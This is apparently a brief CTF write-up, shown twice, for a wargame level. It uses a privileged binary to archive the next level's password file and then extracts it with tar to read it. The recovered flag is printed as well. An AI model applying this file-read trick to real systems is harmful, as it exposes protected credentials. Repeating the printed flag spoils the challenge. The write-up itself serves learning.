in this level, we exploit the tar archive by archiving vortex3 password file, and when extracting, we can read it.
cd /etc/vortex_pass/
/vortex/vortex2 vortex3
tar xvf /tmp/ownership.$\$.tar

Flag: YAVzRBMI4
Yalla Balagan! A collection of my CTF writeups and solutions.
in this level, we exploit the tar archive by archiving vortex3 password file, and when extracting, we can read it.
cd /etc/vortex_pass/
/vortex/vortex2 vortex3
tar xvf /tmp/ownership.$\$.tar

Flag: YAVzRBMI4